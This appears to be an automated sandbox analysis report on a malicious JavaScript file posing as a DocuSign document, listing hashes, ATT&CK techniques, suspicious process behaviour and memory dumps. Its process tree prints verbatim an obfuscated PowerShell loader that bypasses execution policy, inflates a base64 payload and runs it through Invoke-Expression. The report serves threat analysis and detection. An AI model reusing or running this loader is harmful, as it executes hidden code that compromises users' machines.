083d4184bc895d803048f375cb821d87f1f5acfa10b9d6057b3e9c9c1ed95d59

General

Target

DocuSign-Feb01-2023.js
Size

44KB
MD5

fb10c8eb9f3346737b08d1d276467f7e
SHA1

62480603ecd4b5e444d9ebf1fbb1ef7ddcbbef99
SHA256

083d4184bc895d803048f375cb821d87f1f5acfa10b9d6057b3e9c9c1ed95d59
SHA512

6734d8454b0355748321dcfc5a2916dce24c371e98cf925a0293daf21c075a99d4d286d2d00821e588c02349038d535bda6eb7c8b4f3aba92b5bbec8a8012e9f
SSDEEP

768:yK0FmWhlhcVcmVs1JsFqk6TmnGT6ePuXSxjRhr:yK0F5hlhcVcauaok6Tg4uOX

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1584	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	1808	whoami.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 1584	1992	wscript.exe	28
PID 1992 wrote to memory of 1584	1992	wscript.exe	28
PID 1992 wrote to memory of 1584	1992	wscript.exe	28
PID 1584 wrote to memory of 1808	1584	powershell.exe	30
PID 1584 wrote to memory of 1808	1584	powershell.exe	30
PID 1584 wrote to memory of 1808	1584	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\DocuSign-Feb01-2023.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EXecutIOnpoLIC bYPAsS "(nEw-OBJect sySteM.IO.CoMprESsIon.DeflAtesTREAM( [SYSTEm.IO.MEMorYSTrEAm][cONvErT]::fRomBase64STRIng( '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') ,[systeM.Io.cOmpresSIoN.CompreSsiOnmODe]::dEcOmPrEsS ) |FOREACh { nEw-OBJect sYStEM.Io.StReaMReaDer( $_,[teXt.EncOdInG]::AsCiI) }| ForeAch { $_.ReAdtoEnd() } ) | &( $psHoME[21]+$pShOme[34]+'X')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1584-57-0x000007FEF34D0000-0x000007FEF3EF3000-memory.dmp

Filesize
10.1MB

Download
memory/1584-58-0x000007FEF2330000-0x000007FEF2E8D000-memory.dmp

Filesize
11.4MB

Download
memory/1584-60-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/1584-59-0x000000001B7B0000-0x000000001BAAF000-memory.dmp

Filesize
3.0MB

Download
memory/1584-62-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/1584-63-0x00000000027DB000-0x00000000027FA000-memory.dmp

Filesize
124KB

Download
memory/1992-54-0x000007FEFB8A1000-0x000007FEFB8A3000-memory.dmp

Filesize
8KB

Download

Analysis

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